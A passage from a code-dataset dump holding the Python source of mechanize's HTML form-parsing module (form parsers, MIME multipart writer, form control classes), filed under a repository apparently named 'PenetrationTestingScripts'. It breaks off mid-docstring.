repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
PenetrationTestingScripts
"""HTML form handling for web clients. HTML form handling for web clients: useful for parsing HTML forms, filling them in and returning the completed forms to the server. This code developed from a port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but the interface is not the same. The most useful docstring is the one for HTMLForm. RFC 1866: HTML 2.0 RFC 1867: Form-based File Upload in HTML RFC 2388: Returning Values from Forms: multipart/form-data HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX) HTML 4.01 Specification, W3C Recommendation 24 December 1999 Copyright 2002-2007 John J. Lee <[email protected]> Copyright 2005 Gary Poster Copyright 2005 Zope Corporation Copyright 1998-2000 Gisle Aas. This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ # TODO: # Clean up post the merge into mechanize # * Remove code that was duplicated in ClientForm and mechanize # * Remove weird import stuff # * Remove pre-Python 2.4 compatibility cruft # * Clean up tests # * Later release: Remove the ClientForm 0.1 backwards-compatibility switch # Remove parser testing hack # Clean action URI # Switch to unicode throughout # See Wichert Akkerman's 2004-01-22 message to c.l.py. # Apply recommendations from google code project CURLIES # Apply recommendations from HTML 5 spec # Add charset parameter to Content-type headers? How to find value?? # Functional tests to add: # Single and multiple file upload # File upload with missing name (check standards) # mailto: submission & enctype text/plain?? # Replace by_label etc. with moniker / selector concept. Allows, e.g., a # choice between selection by value / id / label / element contents. Or # choice between matching labels exactly or by substring. etc. __all__ = ['AmbiguityError', 'CheckboxControl', 'Control', 'ControlNotFoundError', 'FileControl', 'FormParser', 'HTMLForm', 'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl', 'Item', 'ItemCountError', 'ItemNotFoundError', 'Label', 'ListControl', 'LocateError', 'Missing', 'ParseError', 'ParseFile', 'ParseFileEx', 'ParseResponse', 'ParseResponseEx','PasswordControl', 'RadioControl', 'ScalarControl', 'SelectControl', 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] import HTMLParser from cStringIO import StringIO import inspect import logging import random import re import sys import urllib import urlparse import warnings import _beautifulsoup import _request # from Python itself, for backwards compatibility of raised exceptions import sgmllib # bundled copy of sgmllib import _sgmllib_copy VERSION = "0.2.11" CHUNK = 1024 # size of chunks fed to parser, in bytes DEFAULT_ENCODING = "latin-1" _logger = logging.getLogger("mechanize.forms") OPTIMIZATION_HACK = True def debug(msg, *args, **kwds): if OPTIMIZATION_HACK: return caller_name = inspect.stack()[1][3] extended_msg = '%%s %s' % msg extended_args = (caller_name,)+args _logger.debug(extended_msg, *extended_args, **kwds) def _show_debug_messages(): global OPTIMIZATION_HACK OPTIMIZATION_HACK = False _logger.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) _logger.addHandler(handler) def deprecation(message, stack_offset=0): warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset) class Missing: pass _compress_re = re.compile(r"\s+") def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(?<!\r)\n)|(?:\r(?!\n))", "\r\n", text) def unescape(data, entities, encoding=DEFAULT_ENCODING): if data is None or "&" not in data: return data def replace_entities(match, entities=entities, encoding=encoding): ent = match.group() if ent[1] == "#": return unescape_charref(ent[2:-1], encoding) repl = entities.get(ent) if repl is not None: if type(repl) != type(""): try: repl = repl.encode(encoding) except UnicodeError: repl = ent else: repl = ent return repl return re.sub(r"&#?[A-Za-z0-9]+?;", replace_entities, data) def unescape_charref(data, encoding): name, base = data, 10 if name.startswith("x"): name, base= name[1:], 16 uc = unichr(int(name, base)) if encoding is None: return uc else: try: repl = uc.encode(encoding) except UnicodeError: repl = "&#%s;" % data return repl def get_entitydefs(): import htmlentitydefs from codecs import latin_1_decode entitydefs = {} try: htmlentitydefs.name2codepoint except AttributeError: entitydefs = {} for name, char in htmlentitydefs.entitydefs.items(): uc = latin_1_decode(char)[0] if uc.startswith("&#") and uc.endswith(";"): uc = unescape_charref(uc[2:-1], None) entitydefs["&%s;" % name] = uc else: for name, codepoint in htmlentitydefs.name2codepoint.items(): entitydefs["&%s;" % name] = unichr(codepoint) return entitydefs def issequence(x): try: x[0] except (TypeError, KeyError): return False except IndexError: pass return True def isstringlike(x): try: x+"" except: return False else: return True def choose_boundary(): """Return a string usable as a multipart boundary.""" # follow IE and firefox nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2]) return "-"*27 + nonce # This cut-n-pasted MimeWriter from standard library is here so can add # to HTTP headers rather than message body when appropriate. It also uses # \r\n in place of \n. This is a bit nasty. class MimeWriter: """Generic MIME writer. Methods: __init__() addheader() flushheaders() startbody() startmultipartbody() nextpart() lastpart() A MIME writer is much more primitive than a MIME parser. It doesn't seek around on the output file, and it doesn't use large amounts of buffer space, so you have to write the parts in the order they should occur on the output file. It does buffer the headers you add, allowing you to rearrange their order. General usage is: f = <open the output file> w = MimeWriter(f) ...call w.addheader(key, value) 0 or more times... followed by either: f = w.startbody(content_type) ...call f.write(data) for body data... or: w.startmultipartbody(subtype) for each part: subwriter = w.nextpart() ...use the subwriter's methods to create the subpart... w.lastpart() The subwriter is another MimeWriter instance, and should be treated in the same way as the toplevel MimeWriter. This way, writing recursive body parts is easy. Warning: don't forget to call lastpart()! XXX There should be more state so calls made in the wrong order are detected. Some special cases: - startbody() just returns the file passed to the constructor; but don't use this knowledge, as it may be changed. - startmultipartbody() actually returns a file as well; this can be used to write the initial 'if you can read this your mailer is not MIME-aware' message. - If you call flushheaders(), the headers accumulated so far are written out (and forgotten); this is useful if you don't need a body part at all, e.g. for a subpart of type message/rfc822 that's (mis)used to store some header-like information. - Passing a keyword argument 'prefix=<flag>' to addheader(), start*body() affects where the header is inserted; 0 means append at the end, 1 means insert at the start; default is append for addheader(), but insert for start*body(), which use it to determine where the Content-type header goes. """ def __init__(self, fp, http_hdrs=None): self._http_hdrs = http_hdrs self._fp = fp self._headers = [] self._boundary = [] self._first_part = True def addheader(self, key, value, prefix=0, add_to_http_hdrs=0): """ prefix is ignored if add_to_http_hdrs is true. """ lines = value.split("\r\n") while lines and not lines[-1]: del lines[-1] while lines and not lines[0]: del lines[0] if add_to_http_hdrs: value = "".join(lines) # 2.2 urllib2 doesn't normalize header case self._http_hdrs.append((key.capitalize(), value)) else: for i in range(1, len(lines)): lines[i] = " " + lines[i].strip() value = "\r\n".join(lines) + "\r\n" line = key.title() + ": " + value if prefix: self._headers.insert(0, line) else: self._headers.append(line) def flushheaders(self): self._fp.writelines(self._headers) self._headers = [] def startbody(self, ctype=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): """ prefix is ignored if add_to_http_hdrs is true. """ if content_type and ctype: for name, value in plist: ctype = ctype + ';\r\n %s=%s' % (name, value) self.addheader("Content-Type", ctype, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs) self.flushheaders() if not add_to_http_hdrs: self._fp.write("\r\n") self._first_part = True return self._fp def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): boundary = boundary or choose_boundary() self._boundary.append(boundary) return self.startbody("multipart/" + subtype, [("boundary", boundary)] + plist, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs, content_type=content_type) def nextpart(self): boundary = self._boundary[-1] if self._first_part: self._first_part = False else: self._fp.write("\r\n") self._fp.write("--" + boundary + "\r\n") return self.__class__(self._fp) def lastpart(self): if self._first_part: self.nextpart() boundary = self._boundary.pop() self._fp.write("\r\n--" + boundary + "--\r\n") class LocateError(ValueError): pass class AmbiguityError(LocateError): pass class ControlNotFoundError(LocateError): pass class ItemNotFoundError(LocateError): pass class ItemCountError(ValueError): pass # for backwards compatibility, ParseError derives from exceptions that were # raised by versions of ClientForm <= 0.2.5 # TODO: move to _html class ParseError(sgmllib.SGMLParseError, HTMLParser.HTMLParseError): def __init__(self, *args, **kwds): Exception.__init__(self, *args, **kwds) def __str__(self): return Exception.__str__(self) class _AbstractFormParser: """forms attribute contains HTMLForm instances on completion.""" # thanks to Moshe Zadka for an example of sgmllib/htmllib usage def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): if entitydefs is None: entitydefs = get_entitydefs() self._entitydefs = entitydefs self._encoding = encoding self.base = None self.forms = [] self.labels = [] self._current_label = None self._current_form = None self._select = None self._optgroup = None self._option = None self._textarea = None # forms[0] will contain all controls that are outside of any form # self._global_form is an alias for self.forms[0] self._global_form = None self.start_form([]) self.end_form() self._current_form = self._global_form = self.forms[0] def do_base(self, attrs): debug("%s", attrs) for key, value in attrs: if key == "href": self.base = self.unescape_attr_if_required(value) def end_body(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is not self._global_form: self.end_form() def start_form(self, attrs): debug("%s", attrs) if self._current_form is not self._global_form: raise ParseError("nested FORMs") name = None action = None enctype = "application/x-www-form-urlencoded" method = "GET" d = {} for key, value in attrs: if key == "name": name = self.unescape_attr_if_required(value) elif key == "action": action = self.unescape_attr_if_required(value) elif key == "method": method = self.unescape_attr_if_required(value.upper()) elif key == "enctype": enctype = self.unescape_attr_if_required(value.lower()) d[key] = self.unescape_attr_if_required(value) controls = [] self._current_form = (name, action, method, enctype), d, controls def end_form(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is self._global_form: raise ParseError("end of FORM before start") self.forms.append(self._current_form) self._current_form = self._global_form def start_select(self, attrs): debug("%s", attrs) if self._select is not None: raise ParseError("nested SELECTs") if self._textarea is not None: raise ParseError("SELECT inside TEXTAREA") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._select = d self._add_label(d) self._append_select_control({"__select": d}) def end_select(self): debug("") if self._select is None: raise ParseError("end of SELECT before start") if self._option is not None: self._end_option() self._select = None def start_optgroup(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTGROUP outside of SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._optgroup = d def end_optgroup(self): debug("") if self._optgroup is None: raise ParseError("end of OPTGROUP before start") self._optgroup = None def _start_option(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTION outside of SELECT") if self._option is not None: self._end_option() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._option = {} self._option.update(d) if (self._optgroup and self._optgroup.has_key("disabled") and not self._option.has_key("disabled")): self._option["disabled"] = None def _end_option(self): debug("") if self._option is None: raise ParseError("end of OPTION before start") contents = self._option.get("contents", "").strip() self._option["contents"] = contents if not self._option.has_key("value"): self._option["value"] = contents if not self._option.has_key("label"): self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) self._option["__select"] = self._select self._append_select_control(self._option) self._option = None def _append_select_control(self, attrs): debug("%s", attrs) controls = self._current_form[2] name = self._select.get("name") controls.append(("select", name, attrs)) def start_textarea(self, attrs): debug("%s", attrs) if self._textarea is not None: raise ParseError("nested TEXTAREAs") if self._select is not None: raise ParseError("TEXTAREA inside SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._add_label(d) self._textarea = d def end_textarea(self): debug("") if self._textarea is None: raise ParseError("end of TEXTAREA before start") controls = self._current_form[2] name = self._textarea.get("name") controls.append(("textarea", name, self._textarea)) self._textarea = None def start_label(self, attrs): debug("%s", attrs) if self._current_label: self.end_label() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) taken = bool(d.get("for")) # empty id is invalid d["__text"] = "" d["__taken"] = taken if taken: self.labels.append(d) self._current_label = d def end_label(self): debug("") label = self._current_label if label is None: # something is ugly in the HTML, but we're ignoring it return self._current_label = None # if it is staying around, it is True in all cases del label["__taken"] def _add_label(self, d): #debug("%s", d) if self._current_label is not None: if not self._current_label["__taken"]: self._current_label["__taken"] = True d["__label"] = self._current_label def handle_data(self, data): debug("%s", data) if self._option is not None: # self._option is a dictionary of the OPTION element's HTML # attributes, but it has two special keys, one of which is the # special "contents" key contains text between OPTION tags (the # other is the "__select" key: see the end_option method) map = self._option key = "contents" elif self._textarea is not None: map = self._textarea key = "value" data = normalize_line_endings(data) # not if within option or textarea elif self._current_label is not None: map = self._current_label key = "__text" else: return if data and not map.has_key(key): # according to # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break # immediately after start tags or immediately before end tags must # be ignored, but real browsers only ignore a line break after a # start tag, so we'll do that. if data[0:2] == "\r\n": data = data[2:] elif data[0:1] in ["\n", "\r"]: data = data[1:] map[key] = data else: map[key] = map[key] + data def do_button(self, attrs): debug("%s", attrs) d = {} d["type"] = "submit" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") # we don't want to lose information, so use a type string that # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON} # e.g. type for BUTTON/RESET is "resetbutton" # (type for INPUT/RESET is "reset") type = type+"button" self._add_label(d) controls.append((type, name, d)) def do_input(self, attrs): debug("%s", attrs) d = {} d["type"] = "text" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") self._add_label(d) controls.append((type, name, d)) def do_isindex(self, attrs): debug("%s", attrs) d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] self._add_label(d) # isindex doesn't have type or name HTML attributes controls.append(("isindex", None, d)) def handle_entityref(self, name): #debug("%s", name) self.handle_data(unescape( '&%s;' % name, self._entitydefs, self._encoding)) def handle_charref(self, name): #debug("%s", name) self.handle_data(unescape_charref(name, self._encoding)) def unescape_attr(self, name): #debug("%s", name) return unescape(name, self._entitydefs, self._encoding) def unescape_attrs(self, attrs): #debug("%s", attrs) escaped_attrs = {} for key, val in attrs.items(): try: val.items except AttributeError: escaped_attrs[key] = self.unescape_attr(val) else: # e.g. "__select" -- yuck! escaped_attrs[key] = self.unescape_attrs(val) return escaped_attrs def unknown_entityref(self, ref): self.handle_data("&%s;" % ref) def unknown_charref(self, ref): self.handle_data("&#%s;" % ref) class XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser): """Good for XHTML, bad for tolerance of incorrect HTML.""" # thanks to Michael Howitz for this! def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): HTMLParser.HTMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) except HTMLParser.HTMLParseError, exc: raise ParseError(exc) def start_option(self, attrs): _AbstractFormParser._start_option(self, attrs) def end_option(self): _AbstractFormParser._end_option(self) def handle_starttag(self, tag, attrs): try: method = getattr(self, "start_" + tag) except AttributeError: try: method = getattr(self, "do_" + tag) except AttributeError: pass # unknown tag else: method(attrs) else: method(attrs) def handle_endtag(self, tag): try: method = getattr(self, "end_" + tag) except AttributeError: pass # unknown tag else: method() def unescape(self, name): # Use the entitydefs passed into constructor, not # HTMLParser.HTMLParser's entitydefs. return self.unescape_attr(name) def unescape_attr_if_required(self, name): return name # HTMLParser.HTMLParser already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto def close(self): HTMLParser.HTMLParser.close(self) self.end_body() class _AbstractSgmllibParser(_AbstractFormParser): def do_option(self, attrs): _AbstractFormParser._start_option(self, attrs) # we override this attr to decode hex charrefs entity_or_charref = re.compile( '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)') def convert_entityref(self, name): return unescape("&%s;" % name, self._entitydefs, self._encoding) def convert_charref(self, name): return unescape_charref("%s" % name, self._encoding) def unescape_attr_if_required(self, name): return name # sgmllib already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto class FormParser(_AbstractSgmllibParser, _sgmllib_copy.SGMLParser): """Good for tolerance of incorrect HTML, bad for XHTML.""" def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _sgmllib_copy.SGMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: _sgmllib_copy.SGMLParser.feed(self, data) except _sgmllib_copy.SGMLParseError, exc: raise ParseError(exc) def close(self): _sgmllib_copy.SGMLParser.close(self) self.end_body() class _AbstractBSFormParser(_AbstractSgmllibParser): bs_base_class = None def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _AbstractFormParser.__init__(self, entitydefs, encoding) self.bs_base_class.__init__(self) def handle_data(self, data): _AbstractFormParser.handle_data(self, data) self.bs_base_class.handle_data(self, data) def feed(self, data): try: self.bs_base_class.feed(self, data) except _sgmllib_copy.SGMLParseError, exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) self.end_body() class RobustFormParser(_AbstractBSFormParser, _beautifulsoup.BeautifulSoup): """Tries to be highly tolerant of incorrect HTML.""" bs_base_class = _beautifulsoup.BeautifulSoup class NestingRobustFormParser(_AbstractBSFormParser, _beautifulsoup.ICantBelieveItsBeautifulSoup): """Tries to be highly tolerant of incorrect HTML. Different from RobustFormParser in that it more often guesses nesting above missing end tags (see BeautifulSoup docs). """ bs_base_class = _beautifulsoup.ICantBelieveItsBeautifulSoup #FormParser = XHTMLCompatibleFormParser # testing hack #FormParser = RobustFormParser # testing hack def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, request_class=_request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseResponse, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(response, response.geturl(), select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, request_class=_request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseFile, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(file, base_uri, select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseString(text, base_uri, *args, **kwds): fh = StringIO(text) return ParseFileEx(fh, base_uri, *args, **kwds) def ParseResponse(response, *args, **kwds): """Parse HTTP response and return a list of HTMLForm instances. The return value of mechanize.urlopen can be conveniently passed to this function as the response parameter. mechanize.ParseError is raised on parse errors. response: file-like object (supporting read() method) with a method geturl(), returning the URI of the HTTP response select_default: for multiple-selection SELECT controls and RADIO controls, pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is mechanize.Request) entitydefs: mapping like {"&amp;": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references when matching link text. mechanize does not attempt to find the encoding in a META HTTP-EQUIV attribute in the document itself (mechanize, for example, does do that and will pass the correct value to mechanize using this parameter). backwards_compat: boolean that determines whether the returned HTMLForm objects are backwards-compatible with old code. If backwards_compat is true: - ClientForm 0.1 code will continue to work as before. - Label searches that do not specify a nr (number or count) will always get the first match, even if other controls match. If backwards_compat is False, label searches that have ambiguous results will raise an AmbiguityError. - Item label matching is done by strict string comparison rather than substring matching. - De-selecting individual list items is allowed even if the Item is disabled. The backwards_compat argument will be removed in a future release. Pass a true value for select_default if you want the behaviour specified by RFC 1866 (the HTML 2.0 standard), which is to select the first item in a RADIO or multiple-selection SELECT control if none were selected in the HTML. Most browsers (including Microsoft Internet Explorer (IE) and Netscape Navigator) instead leave all items unselected in these cases. The W3C HTML 4.0 standard leaves this behaviour undefined in the case of multiple-selection SELECT controls, but insists that at least one RADIO button should be checked at all times, in contradiction to browser behaviour. There is a choice of parsers. mechanize.XHTMLCompatibleFormParser (uses HTMLParser.HTMLParser) works best for XHTML, mechanize.FormParser (uses bundled copy of sgmllib.SGMLParser) (the default) works better for ordinary grubby HTML. Note that HTMLParser is only available in Python 2.2 and later. You can pass your own class in here as a hack to work around bad HTML, but at your own risk: there is no well-defined interface. """ return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:] def ParseFile(file, base_uri, *args, **kwds): """Parse HTML and return a list of HTMLForm instances. mechanize.ParseError is raised on parse errors. file: file-like object (supporting read() method) containing HTML with zero or more forms to be parsed base_uri: the URI of the document (note that the base URI used to submit the form will be that given in the BASE element if present, not that of the document) For the other arguments and further details, see ParseResponse.__doc__. """ return _ParseFileEx(file, base_uri, *args, **kwds)[1:] def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, request_class=_request.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) fp = form_parser_class(entitydefs, encoding) while 1: data = file.read(CHUNK) try: fp.feed(data) except ParseError, e: e.base_uri = base_uri raise if len(data) != CHUNK: break fp.close() if fp.base is not None: # HTML BASE element takes precedence over document URI base_uri = fp.base labels = [] # Label(label) for label in fp.labels] id_to_labels = {} for l in fp.labels: label = Label(l) labels.append(label) for_id = l["for"] coll = id_to_labels.get(for_id) if coll is None: id_to_labels[for_id] = [label] else: coll.append(label) forms = [] for (name, action, method, enctype), attrs, controls in fp.forms: if action is None: action = base_uri else: action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( action, method, enctype, name, attrs, request_class, forms, labels, id_to_labels, backwards_compat) form._urlparse = _urlparse form._urlunparse = _urlunparse for ii in range(len(controls)): type, name, attrs = controls[ii] # index=ii*10 allows ImageControl to return multiple ordered pairs form.new_control( type, name, attrs, select_default=select_default, index=ii*10) forms.append(form) for form in forms: form.fixup() return forms class Label: def __init__(self, attrs): self.id = attrs.get("for") self._text = attrs.get("__text").strip() self._ctext = compress_text(self._text) self.attrs = attrs self._backwards_compat = False # maintained by HTMLForm def __getattr__(self, name): if name == "text": if self._backwards_compat: return self._text else: return self._ctext return getattr(Label, name) def __setattr__(self, name, value): if name == "text": # don't see any need for this, so make it read-only raise AttributeError("text attribute is read-only") self.__dict__[name] = value def __str__(self): return "<Label(id=%r, text=%r)>" % (self.id, self.text) def _get_label(attrs): text = attrs.get("__label") if text is not None: return Label(text) else: return None class Control: """An HTML form control. An HTMLForm contains a sequence of Controls. The Controls in an HTMLForm are accessed using the HTMLForm.find_control method or the HTMLForm.controls attribute. Control instances are usually constructed using the ParseFile / ParseResponse functions. If you use those functions, you can ignore the rest of this paragraph. A Control is only properly initialised after the fixup method has been called. In fact, this is only strictly necessary for ListControl instances. This is necessary because ListControls are built up from ListControls each containing only a single item, and their initial value(s) can only be known after the sequence is complete. The types and values that are acceptable for assignment to the value attribute are defined by subclasses. If the disabled attribute is true, this represents the state typically represented by browsers by 'greying out' a control. If the disabled attribute is true, the Control will raise AttributeError if an attempt is made to change its value. In addition, the control will not be considered 'successful' as defined by the W3C HTML 4 standard -- ie. it will contribute no data to the return value of the HTMLForm.click* methods. To enable a control, set the disabled attribute to a false value. If the readonly attribute is true, the Control will raise AttributeError if an attempt is made to change its value. To make a control writable, set the readonly attribute to a false value. All controls have the disabled and readonly attributes, not only those that may have the HTML attributes of the same names. On assignment to the value attribute, the following exceptions are raised: TypeError, AttributeError (if the value attribute should not be assigned to, because the control is disabled, for example) and ValueError. If the name or value attributes are None, or the value is an empty list, or if the control is disabled, the control is not successful. Public attributes: type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) (readonly) name: name of control (readonly) value: current value of control (subclasses may allow a single value, a sequence of values, or either) disabled: disabled state readonly: readonly state id: value of id HTML attribute """ def __init__(self, type, name, attrs, index=None): """ type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) name: control name attrs: HTML attributes of control's HTML element """ raise NotImplementedError() def add_to_form(self, form): self._form = form form.controls.append(self) def fixup(self): pass def is_of_kind(self, kind): raise NotImplementedError() def clear(self): raise NotImplementedError() def __getattr__(self, name): raise NotImplementedError() def __setattr__(self, name, value): raise NotImplementedError() def pairs(self): """Return list of (key, value) pairs suitable for passing to urlencode. """ return [(k, v) for (i, k, v) in self._totally_ordered_pairs()] def _totally_ordered_pairs(self): """Return list of (key, value, index) tuples. Like pairs, but allows preserving correct ordering even where several controls are involved. """ raise NotImplementedError() def _write_mime_data(self, mw, name, value): """Write data for a subitem of this control to a MimeWriter.""" # called by HTMLForm mw2 = mw.nextpart() mw2.addheader("Content-Disposition", 'form-data; name="%s"' % name, 1) f = mw2.startbody(prefix=0) f.write(value) def __str__(self): raise NotImplementedError() def get_labels(self): """Return all labels (Label instances) for this control. If the control was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. """ res = [] if self._label: res.append(self._label) if self.id: res.extend(self._form._id_to_labels.get(self.id, ())) return res #--------------------------------------------------- class ScalarControl(Control): """Control whose value is not restricted to one of a prescribed set. Some ScalarControls don't accept any value attribute. Otherwise, takes a single value, which must be string-like. Additional read-only public attribute: attrs: dictionary mapping the names of original HTML attributes of the control to their values """ def __init__(self, type, name, attrs, index=None): self._index = index self._label = _get_label(attrs) self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = attrs.has_key("disabled") self.readonly = attrs.has_key("readonly") self.id = attrs.get("id") self.attrs = attrs.copy() self._clicked = False self._urlparse = urlparse.urlparse self._urlunparse = urlparse.urlunparse def __getattr__(self, name): if name == "value": return self.__dict__["_value"] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if not isstringlike(value): raise TypeError("must assign a string") elif self.readonly: raise AttributeError("control '%s' is readonly" % self.name) elif self.disabled: raise AttributeError("control '%s' is disabled" % self.name) self.__dict__["_value"] = value elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _totally_ordered_pairs(self): name = self.name value = self.value if name is None or value is None or self.disabled: return [] return [(self._index, name, value)] def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self.__dict__["_value"] = None def __str__(self): name = self.name value = self.value if name is None: name = "<None>" if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class TextControl(ScalarControl): """Textual input control. Covers: INPUT/TEXT INPUT/PASSWORD INPUT/HIDDEN TEXTAREA """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self.type == "hidden": self.readonly = True if self._value is None: self._value = "" def is_of_kind(self, kind): return kind == "text" #--------------------------------------------------- class FileControl(ScalarControl): """File upload with INPUT TYPE=FILE. The value attribute of a FileControl is always None. Use add_file instead. Additional public method: add_file """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None self._upload_data = [] def is_of_kind(self, kind): return kind == "file" def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._upload_data = [] def __setattr__(self, name, value): if name in ("value", "name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def add_file(self, file_object, content_type=None, filename=None): if not hasattr(file_object, "read"): raise TypeError("file-like object must have read method") if content_type is not None and not isstringlike(content_type): raise TypeError("content type must be None or string-like") if filename is not None and not isstringlike(filename): raise TypeError("filename must be None or string-like") if content_type is None: content_type = "application/octet-stream" self._upload_data.append((file_object, content_type, filename)) def _totally_ordered_pairs(self): # XXX should it be successful even if unnamed? if self.name is None or self.disabled: return [] return [(self._index, self.name, "")] # If enctype is application/x-www-form-urlencoded and there's a FILE # control present, what should be sent? Strictly, it should be 'name=data' # (see HTML 4.01 spec., section 17.13.2), but code sends "name=" ATM. What # about multiple file upload? def _write_mime_data(self, mw, _name, _value): # called by HTMLForm # assert _name == self.name and _value == '' if len(self._upload_data) < 2: if len(self._upload_data) == 0: file_object = StringIO() content_type = "application/octet-stream" filename = "" else: file_object, content_type, filename = self._upload_data[0] if filename is None: filename = "" mw2 = mw.nextpart() fn_part = '; filename="%s"' % filename disp = 'form-data; name="%s"%s' % (self.name, fn_part) mw2.addheader("Content-Disposition", disp, prefix=1) fh = mw2.startbody(content_type, prefix=0) fh.write(file_object.read()) else: # multiple files mw2 = mw.nextpart() disp = 'form-data; name="%s"' % self.name mw2.addheader("Content-Disposition", disp, prefix=1) fh = mw2.startmultipartbody("mixed", prefix=0) for file_object, content_type, filename in self._upload_data: mw3 = mw2.nextpart() if filename is None: filename = "" fn_part = '; filename="%s"' % filename disp = "file%s" % fn_part mw3.addheader("Content-Disposition", disp, prefix=1) fh2 = mw3.startbody(content_type, prefix=0) fh2.write(file_object.read()) mw2.lastpart() def __str__(self): name = self.name if name is None: name = "<None>" if not self._upload_data: value = "<No files added>" else: value = [] for file, ctype, filename in self._upload_data: if filename is None: value.append("<Unnamed file>") else: value.append(filename) value = ", ".join(value) info = [] if self.disabled: info.append("disabled") if self.readonly: info.append("readonly") info = ", ".join(info) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class IsindexControl(ScalarControl): """ISINDEX control. ISINDEX is the odd-one-out of HTML form controls. In fact, it isn't really part of regular HTML forms at all, and predates it. You're 